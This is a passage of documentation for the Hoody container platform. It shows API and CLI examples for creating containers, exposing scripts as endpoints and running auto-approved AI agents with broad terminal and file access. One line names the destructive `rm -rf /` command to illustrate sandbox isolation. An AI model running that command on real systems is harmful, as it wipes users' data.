      token: process.env.HOODY_TOKEN
    });
    ```
  
  
    ```bash
    # Set your token as an environment variable
    export HOODY_TOKEN="your-api-token"

    # Test authentication
    curl -H "Authorization: Bearer $HOODY_TOKEN" \
      https://api.hoody.icu/api/v1/users/auth/me
    ```
  


---

## Step 2: Create a Project & Container

A **project** organizes your containers. A **container** is a full Linux computer — Debian 13, systemd, the works — already online the moment it's created.


  
    ```bash
    # Create a project
    hoody projects create --alias "my-first-project"

    # Spawn a container (a full Linux computer)
    hoody containers create --project $PROJECT_ID --server-id $SERVER_ID --name "dev-box"
    ```
  
  
    ```typescript
    // Create a project
    const project = await client.api.projects.create({
      alias: 'my-first-project'
    });

    // Spawn a container
    const container = await client.api.containers.create(project.data.id, {
      server_id: SERVER_ID,
      name: 'dev-box'
    });

    console.log('Your computer is live:', container.data.id);
    ```
  
  
    ```bash
    # Create a project
    curl -X POST https://api.hoody.icu/api/v1/projects \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "my-first-project"}'

    # Create a container
    curl -X POST https://api.hoody.icu/api/v1/projects/$PROJECT_ID/containers \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"server_id": "'"$SERVER_ID"'", "name": "dev-box"}'
    ```
  



Your container is already online. No boot time, no provisioning, no DNS propagation. Every service in that container — terminal, files, database, display — has a URL right now.


---

## Step 3: Use Your Computer

Your container has the full Hoody Kit HTTP service stack built in — terminal, files, exec, sqlite, cron, pipe, browser, code, displays, daemon, notifications, tunnel, workspaces, curl, ssh, proxy, plus dynamic `http`/`https` ports. Let's use a few:

### Run a Command


  
    ```bash
    # Execute a shell command on your container
    hoody terminal sessions exec --ephemeral --command "echo 'Hello from the cloud!'"
    ```
  
  
    ```typescript
    const containerClient = await client.withContainer({
      id: container.data.id,
      project_id: container.data.project_id,
      server: container.data.server_name
    });

    const result = await containerClient.terminal.execution.execute({
      command: "echo 'Hello from the cloud!'"
    });
    console.log(result.data.stdout); // "Hello from the cloud!"
    ```
  
  
    ```bash
    curl -X POST "https://$PROJECT-$CONTAINER-terminal-1.$SERVER.containers.hoody.icu/api/v1/terminal/execute?ephemeral=true" \
      -H "Content-Type: application/json" \
      -d '{"command": "echo Hello from the cloud!", "wait": true}'
    ```
  


### Read a File


  
    ```bash
    # Read a file from your container
    hoody files get /etc/hostname
    ```
  
  
    ```typescript
    const file = await containerClient.files.get('/etc/hostname', { responseType: 'text' });
    console.log(file.data);
    ```
  
  
    ```bash
    curl "https://$PROJECT-$CONTAINER-files-1.$SERVER.containers.hoody.icu/etc/hostname"
    ```
  


### Query a Database


  
    ```bash
    # Run a SQL query on the built-in SQLite
    hoody db exec-transaction --db app --create-db-if-missing --transaction '[{"statement":"CREATE TABLE greetings (message TEXT)"},{"statement":"INSERT INTO greetings VALUES ('"'"'Hello, Hoody!'"'"')"},{"query":"SELECT * FROM greetings"}]'
    ```
  
  
    ```typescript
    const sqliteUrl = `https://${PROJECT_ID}-${CONTAINER_ID}-sqlite-1.${SERVER}.containers.hoody.icu`;
    const result = await fetch(`${sqliteUrl}/api/v1/sqlite/db?db=app&create_db_if_missing=true`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        transaction: [
          { statement: "CREATE TABLE greetings (message TEXT)" },
          { statement: "INSERT INTO greetings VALUES ('Hello, Hoody!')" },
          { query: "SELECT * FROM greetings" }
        ]
      })
    }).then(r => r.json());
    console.log(result); // { results: [{ resultSet: [{ message: 'Hello, Hoody!' }] }] }
    ```
  
  
    ```bash
    curl -X POST "https://$PROJECT-$CONTAINER-sqlite-1.$SERVER.containers.hoody.icu/api/v1/sqlite/db?db=app&create_db_if_missing=true" \
      -H "Content-Type: application/json" \
      -d '{"transaction": [{"statement": "CREATE TABLE greetings (message TEXT)"}, {"statement": "INSERT INTO greetings VALUES ('"'"'Hello, Hoody!'"'"')"}, {"query": "SELECT * FROM greetings"}]}'
    ```
  


---

## Step 4: Open Hoody OS

You've been using the API directly. Now open the visual experience — **Hoody OS**.

Hoody OS is a full web-based operating system that lives **inside each of your containers** — every container you spin up gets its own OS, on a server you own. It's served by the `workspaces` service:
- **Hoody Workspaces** (`https://{projectId}-{containerId}-workspaces-1.{server}.containers.hoody.icu`) — A floating-window desktop where you arrange terminals, code editors, displays, files, and AI agents side by side. The Home dashboard and Console management views are apps inside this workspace, navigated to via in-app paths rather than separate service subdomains.

Every app is a URL. Open it in any browser. Embed it in an iframe. Share it with a teammate. Control it via AI agent. The URLs just work — HTTPS with HTTP/2 and HTTP/3, zero configuration, zero certificates to manage. Ever.



The inception: Hoody OS itself runs on a Hoody container. The OS that manages your containers is running in a container. It's embeddable, shareable, and multiplayer — just like everything else.

### From Any Browser

Open your Workspace URL in any browser. Phone, laptop, TV, tablet — same environment, same state.

### From Any Terminal

```bash
ssh hoody.com
```

Full Hoody OS as a TUI (Terminal User Interface). We built an entire browser engine for the terminal (`hoody-terminal-browser`), so you get the same OS experience — floating windows, AI chat, file management — rendered in pure text. Access from literally anything that supports SSH: a Raspberry Pi, an ESP32 (we won't judge), a server with no GUI, or your phone's terminal app.



No per-machine SSH key upload required for this gateway — it opens a Hoody login screen (the same one you see in a browser) inside the TUI as soon as you connect. This is distinct from container SSH, which uses per-container public keys and the `ssh.$serverName.containers.hoody.icu` gateway — see [Networking → SSH](/foundation/networking/ssh/) for container shell access.

---

## What Just Happened?

You just:
1. **Spawned a full Linux computer** — not a VM, not a Docker container, a real isolated system
2. **Ran commands on it via HTTP** — no SSH, no keys, no client software
3. **Read files and queried a database** — all through URLs
4. **Made it accessible from anywhere** — it was already online from the moment it was created

**This is the HTTP revolution.** Every program, every file, every process is a URL.

---

## What's Next


  
    Learn what makes Hoody containers different from everything else.
    [Containers →](/getting-started/containers/)
  
  
    Discover all 18 HTTP services built into every container.
    [The Hoody Kit →](/kit/)
  
  
    Follow a guide to build a full-stack app, deploy AI agents, or vibe code.
    [Guides →](/guides/full-stack-app/)
  
  
    Understand why we rebuilt computing from scratch.
    [Understanding Hoody →](/vision/obsolescence/)

---

# Your First API

**Page:** getting-started/your-first-api

[Download Raw Markdown](./getting-started/your-first-api.md)

---

# Your First API

**Write a script. It's already an API.**

With hoody-exec, any script you write to its scripts directory becomes a live HTTP endpoint — instantly. No Express. No Docker. No CI/CD. You write the file, and the URL exists. Always write exec scripts through the exec service's own `scripts/write` endpoint (not the Files service) so they land in the exec-managed scripts directory and pass validation.

This is what "scripts become APIs" actually means.

---

## Step 1: Write a Script


  
    ```bash
    # Write a script to the exec scripts directory (path is relative to that dir)
    hoody exec scripts write --path "api/hello.js" --create-dirs --validate --content \
    '// @mode serverless
    const name = metadata.query.name || "World";
    return { message: `Hello, ${name}!`, timestamp: new Date().toISOString() };'
    ```
  
  
    ```typescript
    // Write the script via the exec service (not the Files service)
    const execUrl = `https://${PROJECT_ID}-${CONTAINER_ID}-exec-1.${SERVER}.containers.hoody.icu`;

    const script = `// @mode serverless
    const name = metadata.query.name || "World";
    return { message: \`Hello, \${name}!\`, timestamp: new Date().toISOString() };`;

    await fetch(`${execUrl}/api/v1/exec/scripts/write`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        path: 'api/hello.js',
        content: script,
        createDirs: true,
        validate: true
      })
    });
    ```
  
  
    ```bash
    # Write the script via the exec service's scripts/write endpoint.
    # `path` is relative to the exec scripts directory.
    curl -X POST "https://$PROJECT-$CONTAINER-exec-1.$NODE.containers.hoody.icu/api/v1/exec/scripts/write" \
      -H "Content-Type: application/json" \
      -d '{
        "path": "api/hello.js",
        "content": "// @mode serverless\nconst name = metadata.query.name || \"World\";\nreturn { message: `Hello, ${name}!`, timestamp: new Date().toISOString() };",
        "createDirs": true,
        "validate": true
      }'
    ```
  


---

## Step 2: Call It

Your script is already live at:

```
https://{projectId}-{containerId}-exec-1.{serverName}.containers.hoody.icu/api/hello
```


  
    ```bash
    # Call your new API endpoint directly via its URL
    curl "https://$PROJECT_ID-$CONTAINER_ID-exec-1.$SERVER.containers.hoody.icu/api/hello?name=Developer"
    ```
  
  
    ```typescript
    // Exec scripts are live HTTP endpoints — call them directly
    const response = await fetch(
      `https://${PROJECT_ID}-${CONTAINER_ID}-exec-1.${SERVER}.containers.hoody.icu/api/hello?name=Developer`
    );
    const data = await response.json();
    console.log(data);
    // { message: "Hello, Developer!", timestamp: "2026-03-04T..." }
    ```
  
  
    ```bash
    curl "https://$PROJECT-$CONTAINER-exec-1.$SERVER.containers.hoody.icu/api/hello?name=Developer"
    ```

    Response:

    ```json
    { "message": "Hello, Developer!", "timestamp": "2026-03-04T12:00:00.000Z" }
    ```
  


That URL works from anywhere: a browser, a webhook, an AI agent, a phone. No deployment step.

---

## Step 3: Chain Services

The real power is composition. Your exec scripts can call any other service in the container. Build the sibling service URLs from the same project/container identifiers you already have — exec's `metadata` carries `projectId`, `containerId`, `nodeId` (the `node-…` server name), and `domain`, so compose the host explicitly:

```javascript
// @mode serverless
// File: /scripts/api/deploy-report.js

const { projectId, containerId, nodeId, domain } = metadata;
const host = (svc, idx = 1) =>
  `https://${projectId}-${containerId}-${svc}-${idx}.${nodeId}.${domain}`;

// Run the build (ephemeral=true auto-creates an isolated PTY for programmatic execution)
const build = await fetch(`${host('terminal')}/api/v1/terminal/execute?ephemeral=true`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ command: 'npm run build', wait: true })
});

// Log to database
await fetch(`${host('sqlite')}/api/v1/sqlite/db?db=logs&create_db_if_missing=true`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    transaction: [
      { statement: `INSERT INTO deploys (status, time) VALUES ('success', '${new Date().toISOString()}')` }
    ]
  })
});

// Send notification — `display` selects the target display ID ("0" = default)
await fetch(`${host('n')}/api/v1/notifications/notify`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ display: '0', summary: 'Deploy complete', body: 'Build succeeded' })
});

return { status: 'deployed', timestamp: new Date().toISOString() };
```

One script. Three services. Zero infrastructure. That's what HTTP composability looks like.


The `metadata` object is injected by hoody-exec. It includes `query` (URL params), `parameters` (dynamic route segments), `method`, `url`, `clientIp`, `projectId`, `containerId`, `nodeId`, `domain`, and more. See the [Exec documentation](/kit/exec/) for the full reference.


---

## What Just Happened?

You created a live API endpoint by writing a file. No `package.json`, no `npm install`, no `docker build`, no deploy command. The script's path (relative to the exec scripts directory) IS the URL path.

| Script Path | URL Path |
| :--- | :--- |
| `api/hello.js` | `/api/hello` |
| `api/users/list.js` | `/api/users/list` |
| `api/deploy.js` | `/api/deploy` |
| `webhooks/stripe.js` | `/webhooks/stripe` |

> **This is the HTTP revolution in practice.** Every script is an endpoint. Every endpoint is composable. Every service speaks HTTP. The platform disappears — what remains is just URLs.

**Next:** [The Hoody Kit →](/kit/)

---

# Deploying Autonomous AI Agents

**Page:** guides/ai-agents

[Download Raw Markdown](./guides/ai-agents.md)

---

# Deploying Autonomous AI Agents

**Every AI agent framework has the same fatal flaw: the agent can think but it cannot act.**

It can generate code but cannot run it. It can plan a deployment but cannot execute it. It can describe a test but cannot open a browser. The agent is a brain in a jar, completely dependent on human hands to translate its intentions into reality.



Hoody gives agents a body.

When every service is an HTTPS endpoint — terminal, filesystem, database, browser, display, process manager — an AI agent does not need special adapters, custom plugins, or permission negotiations. It makes HTTP requests. That is what agents already know how to do. Every process the agent spawns is instantly a URL. Every tool it uses is a URL. And with the built-in `hoody-agent` service, you can orchestrate all of this through a single conversational interface — the agent manages itself.

**HTTP-native infrastructure is AI-native infrastructure.** This is not a coincidence. It is the design. And it all runs on servers you own, with container-level isolation, zero shared state, and a privacy-first architecture years in the making.


Drop [`https://hoody.com/skills/SKILL.lite.md`](https://hoody.com/skills/SKILL.lite.md) into the agent's system prompt and it knows what Hoody is, how to authenticate, and which namespace owns which task — for about 2 000 tokens. The agent fetches deeper detail on demand from [`INDEX.md`](https://hoody.com/skills/INDEX.md) or per-namespace files. See the [Agent Skill Bundle](/foundation/agent-skill-bundle/) for the full layout.


---

## Why Hoody Is the AI Execution Environment

Consider what an autonomous agent needs:

| Capability | Traditional Stack | Hoody |
|-----------|------------------|-------|
| Execute commands | SSH + credentials + firewall rules | `POST terminal-1.../api/v1/terminal/execute` |
| Read/write files | SFTP + mount points + permissions | `GET/POST files.../api/v1/files/...` |
| Query databases | Connection strings + drivers + ORM | `POST sqlite-1.../api/v1/sqlite/db` |
| Automate browsers | Puppeteer setup + Chromium install | `POST browser-1.../api/v1/browser/...` |
| Spawn more agents | Infrastructure provisioning | `POST /api/v1/containers` |
| Observe everything | Logging infrastructure | Every HTTP request is observable |

Every capability is one HTTP call. No SDK installation. No driver management. No authentication ceremony beyond a bearer token.


LLMs were trained on the web. They understand HTTP natively. When your infrastructure speaks HTTP, you are not teaching AI a new language -- you are speaking the one it already knows.


---

## Step 1: Create an Agent Container

Give your AI agent its own isolated computer:


  
    ```bash
    # Create a container for your agent
    hoody containers create --project $PROJECT_ID \
      --server-id $SERVER_ID \
      --name "ai-agent-alpha" \
      --container-image "debian-12" \
      --hoody-kit
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    const agent = await client.api.containers.create(PROJECT_ID, {
      name: 'ai-agent-alpha',
      server_id: SERVER_ID,
      container_image: 'debian-12',
      hoody_kit: true,
    });

    console.log('Agent container:', agent.data.id);
    // Agent now has: terminal, files, sqlite, browser,
    // exec, display, code, daemon, cron, notifications...
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "ai-agent-alpha",
        "server_id": "'$SERVER_ID'",
        "container_image": "debian-12",
        "hoody_kit": true
      }'
    ```
  


That container is now a complete computer. The agent has all 18 HTTP services at its disposal. No setup required.

---

## Step 2: Use hoody-agent's 100+ Endpoints

The hoody-agent service is a full autonomous coding agent accessible entirely through HTTP:


  
    ```bash
    # The `hoody agent` CLI has subcommands (prompt, sessions, workspaces, tools, ...).
    # You can also drive it directly via HTTP to the agent service URL:
    curl -X POST "https://$PROJECT_ID-$AGENT_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/agent/prompt/sync" \
      -H "Content-Type: application/json" \
      -d '{
        "parts": [{ "type": "text", "text": "Set up a Node.js REST API with user authentication, SQLite database, and automated tests. Deploy it as a daemon process." }],
        "autoApprove": true
      }'
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Using raw fetch to show the HTTP surface directly.
    // The same endpoints are also available via client.agent.* in the SDK.
    const response = await fetch(
      `https://${PROJECT_ID}-${AGENT_ID}-workspaces-1.${SERVER}.containers.hoody.icu/api/v1/agent/prompt/sync`,
      {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          parts: [{ type: 'text', text: `Set up a Node.js REST API with user authentication,
                         SQLite database, and automated tests. Deploy it as a
                         daemon process.` }],
          autoApprove: true,
        }),
      }
    );

    const result = await response.json();
    console.log('Session ID:', result.sessionID);
    // Agent now autonomously:
    // 1. Installs Node.js via terminal
    // 2. Writes API code via file operations
    // 3. Creates database schema via SQLite
    // 4. Runs tests via terminal
    // 5. Starts daemon via daemon manager
    ```
  
  
    ```bash
    curl -X POST "https://$PROJECT_ID-$AGENT_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/agent/prompt/sync" \
      -H "Content-Type: application/json" \
      -d '{
        "parts": [{ "type": "text", "text": "Set up a Node.js REST API with user authentication, SQLite database, and automated tests. Deploy it as a daemon process." }],
        "autoApprove": true
      }'
    ```
  


The agent now works autonomously. It reads files, writes code, executes commands, queries databases, and deploys services -- all through the same HTTP services available to any human user.

### Monitor in Real-Time

Stream agent output in real time with the non-sync prompt endpoint, which returns Server-Sent Events:

```typescript
// Stream real-time updates via SSE
const response = await fetch(
  `https://${PROJECT_ID}-${AGENT_ID}-workspaces-1.${SERVER}.containers.hoody.icu/api/v1/agent/prompt`,
  {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      parts: [{ type: 'text', text: 'Run the test suite and report results' }],
      autoApprove: true,
    }),
  }
);

const reader = response.body.getReader();
const decoder = new TextDecoder();
while (true) {
  const { done, value } = await reader.read();
  if (done) break;
  console.log(decoder.decode(value));
  // Streams tool calls, tool results, and assistant messages as they happen
}
```

Or view live sessions in your browser:

```
https://PROJECT_ID-AGENT_ID-workspaces-1.SERVER.containers.hoody.icu/api/v1/agent/sessions/live
```

You can also open the agent's built-in web UI directly:

```
https://PROJECT_ID-AGENT_ID-workspaces-1.SERVER.containers.hoody.icu
```

---

## Step 3: Give the Agent Full Access

An agent in a Hoody container has access to everything a human developer would:

### Terminal Access

```bash
# Agent can execute any shell command.
# ephemeral=true gives an isolated one-shot PTY; without it, terminal_id is required.
curl -X POST "https://$PROJECT_ID-$AGENT_ID-terminal-1.$SERVER.containers.hoody.icu/api/v1/terminal/execute?ephemeral=true" \
  -H "Content-Type: application/json" \
  -d '{"command": "git clone https://github.com/user/repo && cd repo && npm install && npm test"}'
```

### Filesystem Access

```bash
# Agent can read and write any file — upload is PUT /api/v1/files/{path} with the file content as the body
curl -X PUT "https://$PROJECT_ID-$AGENT_ID-files-1.$SERVER.containers.hoody.icu/api/v1/files/app/config.json" \
  -H "Content-Type: application/json" \
  -d '{"port": 3000, "env": "production"}'
```

### Database Access

```bash
# Agent can query and modify databases — the `db` query parameter is required
curl -X POST "https://$PROJECT_ID-$AGENT_ID-sqlite-1.$SERVER.containers.hoody.icu/api/v1/sqlite/db?db=/hoody/databases/app.db&create_db_if_missing=true" \
  -H "Content-Type: application/json" \
  -d '{"transaction": [{"query": "CREATE TABLE metrics (id INTEGER PRIMARY KEY, name TEXT, value REAL, timestamp DATETIME DEFAULT CURRENT_TIMESTAMP)"}]}'
```

### Browser Automation

```bash
# Agent can navigate websites, take screenshots, interact with UI.
# /screenshot navigates to the URL and captures it in one call (PNG by default).
curl "https://$PROJECT_ID-$AGENT_ID-browser-1.$SERVER.containers.hoody.icu/screenshot?url=http://localhost:3000&start=true" \
  --output page.png
```


The agent has full control inside its container -- and zero access outside it. It can `rm -rf /` and only destroy its own sandbox. This is why containers exist: radical autonomy within absolute boundaries.


---

## Multi-Agent Orchestration

Here is where Hoody's architecture becomes extraordinary. Because containers are peers connected by HTTP, agents can orchestrate other agents.

### Agent A Spawns and Controls Agent B

```typescript


const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

// Agent A: The Orchestrator
// Creates a specialized container for Agent B
const workerContainer = await client.api.containers.create(PROJECT_ID, {
  name: 'ai-worker-backend',
  server_id: SERVER_ID,
  container_image: 'debian-12',
  hoody_kit: true,
});

// Agent A assigns a task to Agent B via the agent service URL
// prompt/sync waits for completion before returning
const taskResponse = await fetch(
  `https://${PROJECT_ID}-${workerContainer.data.id}-workspaces-1.${SERVER}.containers.hoody.icu/api/v1/agent/prompt/sync`,
  {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      parts: [{ type: 'text', text: 'Implement the payment processing module with Stripe integration. Write tests. Do not deploy until all tests pass.' }],
      autoApprove: true,
    }),
  }
);
const result = await taskResponse.json();
// result.status is already 'completed' or 'failed' — no polling needed

// Agent A inspects Agent B's work by reading its files directly via kit services
const containerClient = await client.withContainer({
  id: workerContainer.data.id,
  project_id: PROJECT_ID,
  server: SERVER,
});

const code = await containerClient.files.get('/app/src/payments.ts');

// Agent A runs Agent B's tests from Agent B's terminal (ephemeral one-shot PTY)
const testResult = await containerClient.terminal.execution.execute({
  command: 'cd /app && bun test payments',
}, { ephemeral: true });
```

This is not theoretical. This is HTTP calls between containers. Agent A literally controls Agent B's terminal, reads its files, queries its database. No message queue. No coordinator service. Just URLs talking to URLs.

### The Floating Architecture in Practice

```
┌─────────────────────┐
│  ORCHESTRATOR (A)   │
│  Plans architecture │
│  Assigns tasks      │
│  Reviews work       │
└──────────┬──────────┘
           │ HTTP
     ┌─────┴─────┐
     v           v
┌──────────┐ ┌──────────┐
│ WORKER B │ │ WORKER C │
│ Backend  │ │ Frontend │
│ code     │ │ code     │
└──────────┘ └──────────┘
     │           │
     │ HTTP      │ HTTP
     v           v
┌──────────┐ ┌──────────┐
│ WORKER D │ │ WORKER E │
│ Tests    │ │ Design   │
│ & QA     │ │ review   │
└──────────┘ └──────────┘
```

Each worker is an isolated container with its own agent, terminal, files, and database. The orchestrator coordinates via HTTP. Workers can spawn sub-workers. It is agents all the way down.

---

## MCP Client Integration

Hoody Agent includes a production-ready MCP (Model Context Protocol) client that connects to external MCP servers, dynamically discovering their tools at runtime via `client.listTools()`:


  
    ```bash
    # Connect an external MCP server (e.g., GitHub) to your agent.
    # Local servers use type:"local" with command as a single array (command + args).
    curl -X POST "https://$PROJECT_ID-$AGENT_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/workspaces/${WORKSPACE_ID}/mcp" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "github",
        "config": { "type": "local", "command": ["npx", "-y", "@modelcontextprotocol/server-github"] }
      }'
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Using raw fetch to show the HTTP surface directly.
    // The same endpoints are also available via client.agent.* in the SDK.
    await fetch(
      `https://${PROJECT_ID}-${AGENT_ID}-workspaces-1.${SERVER}.containers.hoody.icu/api/v1/workspaces/${WORKSPACE_ID}/mcp`,
      {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          name: 'github',
          // Local servers: type:"local" + command as a single array (command + args).
          config: { type: 'local', command: ['npx', '-y', '@modelcontextprotocol/server-github'] },
          // Tools are dynamically discovered from connected MCP servers.
          // Remote servers use { type: 'remote', url: '...' } instead.
        }),
      }
    );
    ```
  
  
    ```bash
    curl -X POST "https://$PROJECT_ID-$AGENT_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/workspaces/${WORKSPACE_ID}/mcp" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "github",
        "config": { "type": "local", "command": ["npx", "-y", "@modelcontextprotocol/server-github"] }
      }'
    ```
  


With MCP servers connected, the agent dynamically discovers and merges their tools with its built-in capabilities. Connect GitHub, Slack, Jira, custom APIs, or any MCP-compatible server -- all orchestrated through the same HTTP interface.

---

## Autonomous Deployment Workflow

Here is a real-world pattern: an AI agent that deploys your application end-to-end.

```typescript


const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

// Step 1: Snapshot before deployment (safety net)
// Capture the alias so the rollback can reference the exact same snapshot.
const snapshotAlias = `pre-deploy-${Date.now()}`;
await client.api.containers.createSnapshot(PRODUCTION_ID, {
  alias: snapshotAlias,
});

// Step 2: Agent pulls latest code and deploys via agent service URL
// prompt/sync waits for the agent to finish before returning
const deployResponse = await fetch(
  `https://${PROJECT_ID}-${PRODUCTION_ID}-workspaces-1.${SERVER}.containers.hoody.icu/api/v1/agent/prompt/sync`,
  {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      parts: [{ type: 'text', text: `
        1. Pull latest code from main branch
        2. Install dependencies
        3. Run full test suite -- stop if any test fails
        4. Build production assets
        5. Restart the daemon process
        6. Run smoke tests against the live URL
        7. Report status via notification
      ` }],
      autoApprove: true,
    }),
  }
);
const result = await deployResponse.json();

// prompt/sync is synchronous -- result.status is already final
if (result.status === 'failed') {
  // Rollback: restore the snapshot created in Step 1
  await client.api.containers.restoreSnapshot(PRODUCTION_ID, snapshotAlias);

  // Notify the team via kit notifications service
  const containerClient = await client.withContainer({
    id: PRODUCTION_ID,
    project_id: PROJECT_ID,
    server: SERVER,
  });
  await containerClient.notifications.notify.trigger({
    summary: 'Deployment Failed',
    body: `Rolled back to pre-deploy snapshot. Finish reason: ${result.info?.finish ?? 'unknown'}`,
    display: '0',
  });
}
```

The agent handles the entire deployment pipeline. If anything goes wrong, the snapshot restores everything in seconds. No CI/CD platform needed. No YAML files. Just an agent, HTTP calls, and a safety net.

---

## Safeguards: The Snapshot-First Pattern

AI agents are powerful but unpredictable. The snapshot-first pattern is your insurance:


  
    ```bash
    # ALWAYS snapshot before letting an agent run
    hoody snapshots create -c $AGENT_ID \
      --alias "before-agent-experiment"

    # Let the agent work via direct HTTP to agent service
    curl -X POST "https://$PROJECT_ID-$AGENT_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/agent/prompt/sync" \
      -H "Content-Type: application/json" \
      -d '{"parts": [{"type": "text", "text": "Refactor the entire codebase to use TypeScript 5 features"}], "autoApprove": true}'

    # If the agent breaks something:
    hoody snapshots restore -c $AGENT_ID --name "before-agent-experiment"
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Snapshot first -- always
    await client.api.containers.createSnapshot(AGENT_ID, {
      alias: 'before-agent-experiment',
    });

    // Let the agent work via direct HTTP to agent service
    await fetch(
      `https://${PROJECT_ID}-${AGENT_ID}-workspaces-1.${SERVER}.containers.hoody.icu/api/v1/agent/prompt/sync`,
      {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          parts: [{ type: 'text', text: 'Refactor the entire codebase to use TypeScript 5 features' }],
          autoApprove: true,
        }),
      }
    );

    // If the agent breaks something:
    await client.api.containers.restoreSnapshot(AGENT_ID, 'before-agent-experiment');
    ```
  
  
    ```bash
    # Snapshot first
    curl -X POST "https://api.hoody.icu/api/v1/containers/$AGENT_ID/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "before-agent-experiment"}'

    # Let the agent work
    curl -X POST "https://$PROJECT_ID-$AGENT_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/agent/prompt/sync" \
      -H "Content-Type: application/json" \
      -d '{"parts": [{"type": "text", "text": "Refactor the entire codebase to use TypeScript 5 features"}], "autoApprove": true}'

    # If the agent breaks something (restore = PATCH the snapshot)
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$AGENT_ID/snapshots/before-agent-experiment" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  



Never let an AI agent modify a container without snapshotting first. Agents are confident, creative, and occasionally catastrophically wrong. Snapshots make that acceptable.


---

## Container Isolation for Experiments

The most dangerous thing about AI agents is not that they make mistakes -- it is that mistakes can propagate. Container isolation prevents this absolutely:

- **Each agent runs in its own container** -- One agent cannot access another's filesystem, processes, or network unless explicitly connected via HTTP
- **Experiments are sandboxed** -- An agent testing a destructive migration cannot touch your production data
- **Failures are contained** -- If an agent installs malicious packages or runs a fork bomb, only its container is affected
- **Evidence is preserved** -- Snapshot the container after an agent run to audit exactly what it did

This is why bare metal + containers is the correct architecture for AI. Not because it is more convenient -- because it is physically safe.

---

## @hoody.com: External AI Access

`@hoody.com` is SSH for the AI era. Any AI agent with web access — ChatGPT, Claude, Claude Code, Cline, Roo Code, Codex — can give `@hoody.com` and immediately receive a Skill: structured instructions for controlling your entire infrastructure via HTTP. No adapter, no plugin, no custom integration. The agent fetches a URL and learns your API. From that point on it can spawn containers, execute code, read files, query databases — everything covered in this guide — from any platform that can make an HTTP request.

You're also never locked into a provider. Hoody supports 75+ AI providers — Anthropic, OpenAI, Google, Mistral, Groq, local Ollama models, any OpenAI-compatible endpoint. Swap models in a config change. A/B test Claude against GPT-4o across two containers. Today Claude, next week your own fine-tuned Llama. The agents you build here work with all of them. See [Hoody AI](/foundation/hoody-ai/) for the full provider list.

---

## MITM Rules: Control Agent Behavior Without Code

Autonomous agents are powerful. That power needs guardrails. hoody-agent ships with a built-in rule engine that lets you observe, control, and modify every interaction your agents make — without writing a single line of proxy code.

Define rules in JSON. A `chat.system.transform` rule appends "Never delete files in /data without confirmation" to every system prompt for `prod`-tagged sessions. A `tool.execute.before` rule sends a notification to your phone when any agent is about to run `bash`. A `session.error` rule fires a webhook to PagerDuty when an agent fails. Seven event types, five action types, per-session tag filtering, regex content matching, cooldowns — all declarative, all in your config file or the Settings UI.

This is agent control at the protocol level. Because AI is HTTP, and because hoody-agent hooks into the session lifecycle directly, you get real-time introspection into every tool call, every message, every prompt — per agent, per session, per tool. See the full documentation at [MITM: Built-In Rule Engine](/foundation/hoody-ai/mitm/#built-in-rule-engine-zero-code-mitm).

---

## What's Next

- **[The Vibe Coding Revolution](/guides/vibe-coding/)** -- Watch AI build your app in real-time
- **[Multiplayer by Default](/guides/multiplayer/)** -- Humans and agents collaborating simultaneously
- **[Zero-Knowledge Workflows](/guides/zero-knowledge/)** -- Keep agent experiments private and encrypted

---

# Building a Full-Stack Application

**Page:** guides/full-stack-app

[Download Raw Markdown](./guides/full-stack-app.md)

---

# Building a Full-Stack Application

**The old way: three months of Terraform, Kubernetes manifests, CI/CD pipelines, reverse proxy configs, SSL certificates, and a prayer that staging matches production.**

The Hoody way: two containers, a handful of HTTP calls, and a URL you can share before lunch.

